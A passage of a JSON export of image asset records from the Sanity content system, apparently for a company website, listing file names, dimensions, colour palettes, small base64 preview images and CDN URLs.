gePaletteSwatch","background":"#760d1e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e5203f","foreground":"#fff","population":3.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aacdad","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc709c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b5459","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5203f","foreground":"#fff","population":3.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"836c3ecf350c0f324a3401cbcd5e3b18226ed3e7-1567x792.jpg","path":"images/sczeoy4w/production/836c3ecf350c0f324a3401cbcd5e3b18226ed3e7-1567x792.jpg","sha1hash":"836c3ecf350c0f324a3401cbcd5e3b18226ed3e7","size":281336,"uploadId":"SQS1pakFa9q0FxJRUrVGGnQTrg7xIsM0","url":"https://cdn.sanity.io/images/sczeoy4w/production/836c3ecf350c0f324a3401cbcd5e3b18226ed3e7-1567x792.jpg"} {"_createdAt":"2023-05-26T12:51:43Z","_id":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7GY89","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:51:43Z","assetId":"83778ee98c9e049769d003e7a753efa4b63a276b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ebPGmgof?vt7%Mj[j[j[ayay?bj[IUayRjxuayfQj[ay~qj[IUfQIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEuUlEQVQ4jY2Va1MTZxTH+RQa1KFFKkg2m80mm8vmnkDIlSQKCWAoqSUSUhIgQChxiEgNVSB4oYDitOOMVjsdyoBMR8DL0Bf2Tek3qJ2OEhCUjCE3CUrSOQkF2pl2+uLMc57d5/z2PPv89785z5fW6peWX7uCK+vNwZV1Z3Bl3bVv/D/hhNql4GvX8xdr9TkAW3v1RhbeiNGyEc+MG5HsGIkkaNHYWwTm+/O99bFMAAOgOUCHC+l0+kAqtU1Jp1OUdDp9MJunDyaTm5RIJJK7vf2esrWVpITD4VwY4R6sTW1n1h0ABrAA6IxEE7RQKHToxvjX6Nmz57ijY+Po1WsjdL//ItPd5hE02Jtknk4vr9XtEdjOfCb3en3coaFrWJfXxx2/+Q0KtcAAVmbLibdbyNz8ww81WmMVwRZ0KlXl1aUKjYXkS5p4PFGLQCB1iERyG4sgO+kY4edwhG0ikdzOIvhere6EeW5uPh8YwMoAI9EE0t3dw2AR5LnCItotBs7pwRicnmIqNowzuT6lUlclFEptxVTsSmEROo7Q8AAVYVw9VojcYRFkN9QCIwNcXll3vlhaoVssdTIGzvEXU7GvaCizn4YyLyE0fBCAUpniE5IvdtBQ/BI8jMsTtaB0ou94MTbKwDkXoBYYwMpZfhly/vbsD0ZDg4PUag1mXfmJk/ISVa1UprCq1OVmeYmyTiJVnC5TaquUKl2VpdaqcDhconJ9hVGrM1ZqdUYz1AIDWJkOV9fW0dnZ2fypqfuFjx49PjowMERvdXeQHo+X63S2CuttjTJXc5ugw9PF7e31MwcHL2NjYzeQ+flHBVPT9wuhFhiZDuFkQHtZGaQPvVxdPTIweBmrqanTGIymCoPRfNK4EzDXGyorq2vqNP0DQ9jq6toRqIFaYAT3gLFdYDQaPfzt3e+Ot7V/TtobnVJ7o1PSYHdKISC3N7ok7R1d5L173xfFYrHDe8DYHhCUn9zcpDx5slAQCFyhDw+P0iYmJgth6z7fedbtO3ePT0/PHPP7L+K9vX3MW7duF8Oa/oEA/eHDxx+B+IGxq8N4IoksLv6aV2etLxMIZY2lpWqL2XxKXVKi+lgkkp/RGyqMJtMpjVRWdlouV1ohV6n1ZrG4xGa12hS/LC7mAWNXh5vJ99TJyamCMqW2FqWzvmTgHB/B5newOYIOHil24TjHR8fYX7A5gja5XFmn0504KZOVWVkEv1OtMVTPzPx4NLm1Td0FgsonJn4oUGv01Sid1Uel4UMoRvQBUCiU2ekYcQFB8CEOV+BWqctNRmNlOXSHM7ln9YaKioWFnz7425cSi28iDx7M5ptMNTqCzfcwWTwvbJ3kS5w8UtwslpTYpDLFaehWJJafUav1JpIUu1gssststmifPv05D1woCMC/zCEYDB4eGbmONTpc0uaWduGl/gDubuvkw0lDPnZ9nOZqdouanC3invMXiKamVrHN5pAHAlfxZ89+P7IR2TGH/fb17t273FAolBuPxzP2BDYF1rUjqYOJRJwCkUqlKKAKsLJoNAqy2bMvMMWMwYZjKBw9tA4f+ptw1mRhDothDtcj0R2zjSYQeFXZ+/E9gwXbhuQfv4B/s/r//gUsvfr0T8p9eJrleHXVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-aicpa-soc2.svg","path":"images/sczeoy4w/production/83778ee98c9e049769d003e7a753efa4b63a276b-40x40.svg","sha1hash":"83778ee98c9e049769d003e7a753efa4b63a276b","size":27631,"uploadId":"e9OnUEEQwahpYCsfWKTcpUSYO4sJZNlM","url":"https://cdn.sanity.io/images/sczeoy4w/production/83778ee98c9e049769d003e7a753efa4b63a276b-40x40.svg"} {"_createdAt":"2023-11-07T14:34:15Z","_id":"image-83c62eea47a8f26c48a5478a5df4f1ab502bfc56-1800x900-webp","_rev":"YgPujUcKQ2JSpcKSYWDezu","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T14:34:15Z","assetId":"83c62eea47a8f26c48a5478a5df4f1ab502bfc56","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDD^N+*G.QgLt2.8o|SvNIjJoyX2bDxtRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":900,"width":1800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBAb/xAAjEAABBAIBAwUAAAAAAAAAAAABAAIEEQMFEgYhMRVBUXGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAMFBv/EABsRAAIDAAMAAAAAAAAAAAAAAAABAgMREzFB/9oADAMBAAIRAxEAPwB7uJR9OaMkamGqdyo/iQzJrmyI7wOWF4o18qfUb3nURyXOs17pfoyXaQWb7nz9ra1RSgpEyrrEaCPkinEC8OBKFRPYNA8UEI499G6z/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#202785","foreground":"#fff","population":0.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7488f7","foreground":"#fff","population":1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3aec8","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7488f7","foreground":"#fff","population":1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b619d","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d53e7","foreground":"#fff","population":0.45,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"DoIT+Aiven.webp","path":"images/sczeoy4w/production/83c62eea47a8f26c48a5478a5df4f1ab502bfc56-1800x900.webp","sha1hash":"83c62eea47a8f26c48a5478a5df4f1ab502bfc56","size":1194666,"uploadId":"T1RARSnmF8E9Krp2DA2iSMscwF7OIz9v","url":"https://cdn.sanity.io/images/sczeoy4w/production/83c62eea47a8f26c48a5478a5df4f1ab502bfc56-1800x900.webp"} {"_createdAt":"2023-06-07T13:28:31Z","_id":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_rev":"rV9BZDYEBgQp95tIyW9CJ9","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:28:31Z","assetId":"8426020b815d762c249b9aa4945a7ce7d7ceeb3e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdJ8Fn=^E1I:WC~qoLM{WBWBEmbbR+s:s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8497109826589595,"height":1038,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQb/xAAiEAABAwQCAgMAAAAAAAAAAAADAAECBAURIQYxEiITI0H/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAQP/xAAeEQABAwQDAAAAAAAAAAAAAAABAAIDBBITIlJiof/aAAwDAQACEQMRAD8AZXHrzSgxOoE0ctrfar77zG1xIRqt5h3jW0pgVdQSrjOZpvJutqDyD7YkmT2lnt1rBES7ZylS8CPULdGvPGyEeXz5z+oSsGIfi3qyEni7FFXHi31f/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364355","foreground":"#fff","population":1.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#084b77","foreground":"#fff","population":3.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#caac96","foreground":"#000","population":5.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caac96","foreground":"#000","population":5.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94bcec","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a97b8","foreground":"#fff","population":4.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#478cbc","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"priceline-customer-img.jpg","path":"images/sczeoy4w/production/8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038.jpg","sha1hash":"8426020b815d762c249b9aa4945a7ce7d7ceeb3e","size":1560761,"uploadId":"9NU06SS3oOtymZkfekimDLojM3TdFUIj","url":"https://cdn.sanity.io/images/sczeoy4w/production/8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038.jpg"} {"_createdAt":"2022-06-30T19:55:42Z","_id":"image-8427ebf77c139aed47532d45292b4d1433ad0b28-400x248-png","_rev":"cEPH2uRN58AU2lp9QO7UpF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:46Z","assetId":"8427ebf77c139aed47532d45292b4d1433ad0b28","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V2O;9{00000000t,%f_1_M-n0zaM-p_N$i-qKO.8v~S}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6129032258064515,"height":248,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACrklEQVQokV2SzUtUURjG51+IoII+iILaRNRCqCAJoaJNUYsW9Se0CCIjURTGUis3WePYHRcVIRJJn0ThVIuWJZFUVtCEOs5Mc+893x9XuJwnzlUEXTy859znnt953/e8ufPBOM4F4zhdeISzI2MYePUBr6d+4+1UBVO/qmg0IxBCEMcEYRRnkTEOKSW00kvSGkoqMEqRO3PnIU4NPcCxwVGcvH0f/S/fozz9Bx+/z2NmtgnCBDjn4EJASAWpFJTW0MbAGAPl90plUCEEcicGR3HsVgmtfUUcv1VC34t3+Pq3inpIQbiEUjrLiDGWHVgrxtgqL3f0ZgltAwEO9RbQdiPAtedl/F5owBoDa212sy85iiLEUQTiFUagUQRGaFbmKuCRgRIO9wdoyQ+jdSBA/lkZP6v15TKMU0o5EscuaobOwxihjscEPIwgYgLFedZHX34GPNgX4MD1APvzRRzqL6H7aRk/5hacNz2MS+Ga4T8X1huORQRSSCd9NlEMFRNYKZFYm1XjHyrX0juClt572NtTQMu1e+icmMTMfB1GaxhrHNPCNeKmazabjhMKGYZOzM1BVKswjGWwxcVFJEmyBNzTMwyvXV13sS8/gg4PrDaWbk0Sp4wG4RSUUXDfr0oF8edPYD9nYDnPYKuAO7qLbmd30W3vKrg9vSXXPlF23+frTmvtrLVZpJQ6QoijcexoreZopeJEreaMlM4Y45Ikyf6VUrrclq4itnYVsblzGLvzo7j0pIxvczVorVbmjFKavbSPfiaVlJnnJ8Bn5dcrPdzYUUg3dRTSDVfvpjt6gvTi48l0enYhlUKkYlmMsZRznkopU6VUaoxJrbXZ2vta65V9bn37kF1/5Y5dd3nIbuss2gtjb+yXyrxllFpCiKWUWsaYFUJYpdQq+W9rPPMf70w9Q78/oy0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7884","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b6a82","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6595a2","foreground":"#fff","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcb4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee6a6a","foreground":"#fff","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6595a2","foreground":"#fff","population":0.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3ed292","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8427ebf77c139aed47532d45292b4d1433ad0b28-400x248.png","path":"images/sczeoy4w/production/8427ebf77c139aed47532d45292b4d1433ad0b28-400x248.png","sha1hash":"8427ebf77c139aed47532d45292b4d1433ad0b28","size":17446,"uploadId":"sS9gxLxE7G9fCClCJMI5QryF9c8llXky","url":"https://cdn.sanity.io/images/sczeoy4w/production/8427ebf77c139aed47532d45292b4d1433ad0b28-400x248.png"} {"_createdAt":"2024-01-10T12:18:14Z","_id":"image-84d8972985df4510039730cc40f57f8be1e1fa66-1710x934-png","_rev":"BPcLfKU310hDl60jaPxmKy","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T12:18:14Z","assetId":"84d8972985df4510039730cc40f57f8be1e1fa66","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8308351177730193,"height":934,"width":1710},"exif":{"PixelXDimension":1710,"PixelYDimension":934,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC2ElEQVQokXWQTWsTURSGAyK48WNXsxEr7oog4qImmaY7FUb8H10Jgguj0G7sosuKbWxoRqvFbMSide60zsy9N5namdQ0tknNJBM0CRjbpPORTFIE515JtAsVFw/veTnwcDi+RCJxXBTFiwih6xjjGwghVpYhK8syCyFke/0QSZbZlZVVlgeA5XnAAgBYQRBuCIJwbXl5eWhmZuaYL5FInMcY319fX1/RNA2rqgYVRUFJjNF7ZQ2ltTTa2Njoo6XTSFl7j3AyhXAyiTDGECGEIYS8IAi3pqenB3wLCwuXksnkoqZpbiaTIbl8/kcul/e2sh+9/Na2pxcKnmEYXrlc9gyj7BX0orfzSffyO5+8D5nMj1QqRSCENgDg0dTU1Fkfx3GXMcYJVVUPstksrVSqpNFo0r3dXVr/+pXW63W6t7dHLcuktu3QfdOmu02bfmtYtFA0SCqlUEmS2jzPz05OTp47FL5QVbW7ublJa7UacRynj2mapNls9rPVapFOt0vczgFx3O+k6RwQ3fji9YSyJLX+Fib+FtpOi+ybNrFsh3Rcl3Q6HeK6Lul2D4jb/U4adpcUjC9EUdYolOUWAOC/F3q9a5xWmzRNh5iWQ9ptl7TbbWJZFmnsm+Rz3SG5ikUyecNL9YQQ/iPs/1BLb9Dt7TwtlQxaMspULxpUL5ZosddLBtV1nWa3clRS83RZ2aGi8oFinOwJ2wCAaF8YjUYvrK6uPkQIF2WIa6IEK6IkV9+JcvUwe0iSXBVFscoDofrqDV99+RpU37wFFUFYqQmCsLO0tPRgYmLijG98fPw0x3E3ny8u3nn27HnkydOnEY57Eolz3B9wvYzHI7FYLDL3OBqJzUUjsdjc3fn5+XvxePz27Ozs1bGxsVO+oaGho6FQ6CTDMAMMw/hHRkb8o+Gwf3Q0/Ct/z+FwuL8LMYw/EAz5hwOM/0og6A8EAv5gMDgwPDx8YnBw8MhPtgFyQRRDmdMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#153e6f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a848f","foreground":"#fff","population":0.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0b4b9","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e99e8","foreground":"#fff","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a848f","foreground":"#fff","population":0.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2976d3","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"franz-ssl-config.png","path":"images/sczeoy4w/production/84d8972985df4510039730cc40f57f8be1e1fa66-1710x934.png","sha1hash":"84d8972985df4510039730cc40f57f8be1e1fa66","size":497044,"uploadId":"Ec5JZym5E3Plnoqkr9LCdg3KIRuNriUR","url":"https://cdn.sanity.io/images/sczeoy4w/production/84d8972985df4510039730cc40f57f8be1e1fa66-1710x934.png"} {"_createdAt":"2022-06-15T20:01:31Z","_id":"image-84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308-jpg","_rev":"CK1sLU2mnwa3vmbYWEabN3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:29Z","assetId":"84f24075f709ab4ffe4ce16942d811ca33d33bad","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMR2[GystlMd?HKlROozsle:.8MdRjxuRQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMEBQYI/8QAIhAAAgICAQMFAAAAAAAAAAAAAQIDBAARIQUGMRITIkFR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEE/8QAGREBAAMBAQAAAAAAAAAAAAAAAQACAxFR/9oADAMBAAIRAxEAPwDogwSLZkkW1Kdk/AnjKHq1u9QmSGOZy0qnTb4XWapFHuScDzir0UbRgsikj9GBppZ5yaM6h3vkV29fa50qGWQt6/Db+yMMmUURK4CqqjfgDWGHTW6CsulKlkCf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515455","foreground":"#fff","population":1.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803403","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#515455","foreground":"#fff","population":1.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b4ce","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8680d","foreground":"#fff","population":1.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308.jpg","path":"images/sczeoy4w/production/84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308.jpg","sha1hash":"84f24075f709ab4ffe4ce16942d811ca33d33bad","size":661816,"uploadId":"pcifmofp4FdcTGR6BrhiPMfAsdg8nXuM","url":"https://cdn.sanity.io/images/sczeoy4w/production/84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308.jpg"} {"_createdAt":"2023-11-09T13:31:01Z","_id":"image-850b2b6a559fca7222c80739c7e615e9e0c9cbcd-5816x3640-jpg","_rev":"NWrqsLAqXssHXTeZSEzcBg","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T13:31:01Z","assetId":"850b2b6a559fca7222c80739c7e615e9e0c9cbcd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V?IO|gxut7j]oK.TxBofoLs.OaoLjYoej[RkS4j[WXay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.597802197802198,"height":3640,"width":5816},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHCP/EACMQAAEDBAIBBQAAAAAAAAAAAAIBAwUABBEhBhITFjFScdH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEA//EAB4RAAICAgIDAAAAAAAAAAAAAAECAAQDIQUREhSR/9oADAMBAAIRAxEAPwCuynKoG6dNexoudl0zml295TAkSoTymo6XI7qX3Uq+3Eow2qiSO+RHEXf1S1Kcmfj7pXUYadcdDJKf5SWNjAPJW0IJGr5j067MvNvLxxtCTNt5AX2Kis2etpJvTWGx+IrqiiHlbUt69Ia6Pyf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#694037","foreground":"#fff","population":5.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19435b","foreground":"#fff","population":3.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#694037","foreground":"#fff","population":5.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac0c9","foreground":"#000","population":1.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5db6f9","foreground":"#000","population":4.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#608fa2","foreground":"#fff","population":1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5491c","foreground":"#fff","population":0.81,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Berlin_1401491837.jpg","path":"images/sczeoy4w/production/850b2b6a559fca7222c80739c7e615e9e0c9cbcd-5816x3640.jpg","sha1hash":"850b2b6a559fca7222c80739c7e615e9e0c9cbcd","size":24082875,"uploadId":"CRyCdGk86cewhHEqRU3LS9fRJIWVISgy","url":"https://cdn.sanity.io/images/sczeoy4w/production/850b2b6a559fca7222c80739c7e615e9e0c9cbcd-5816x3640.jpg"} {"_createdAt":"2022-09-30T13:46:58Z","_id":"image-85572be5005412a2e5d17c5bec0ce7ec84b22242-1500x808-jpg","_rev":"8WeirZ6KB9gJqgJfvhqb9Z","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T13:46:58Z","assetId":"85572be5005412a2e5d17c5bec0ce7ec84b22242","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUQvB.py%2MwtmKRR%aJbvs.?aMwM{o#ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8564356435643565,"height":808,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCBAUI/8QAIhAAAgEEAgEFAAAAAAAAAAAAAQIDAAQFERJRBiEyQXGh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgT/xAAcEQACAgIDAAAAAAAAAAAAAAABAgADEjEEImH/2gAMAwEAAhEDEQA/AOgntZIZHne7ndV23AH8payXkeSCc4VVA+wEb3a71TlGo5P991m5LHWks5uJIEMyxkB/kVLyLnw6blNNS5jLUl4jPdXGDhkumIkJPp0KKv4hFTHwhRocaKNTEIB5FaAXJn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424a60","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1831b","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6800d","foreground":"#000","population":7.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5c0bd","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#89b7f7","foreground":"#000","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688289","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6800d","foreground":"#000","population":7.92,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Apache_Kafka_governance_blog.jpg","path":"images/sczeoy4w/production/85572be5005412a2e5d17c5bec0ce7ec84b22242-1500x808.jpg","sha1hash":"85572be5005412a2e5d17c5bec0ce7ec84b22242","size":408045,"uploadId":"GgukqxhMeE2OeeFAsPDANVobKUlODB56","url":"https://cdn.sanity.io/images/sczeoy4w/production/85572be5005412a2e5d17c5bec0ce7ec84b22242-1500x808.jpg"} 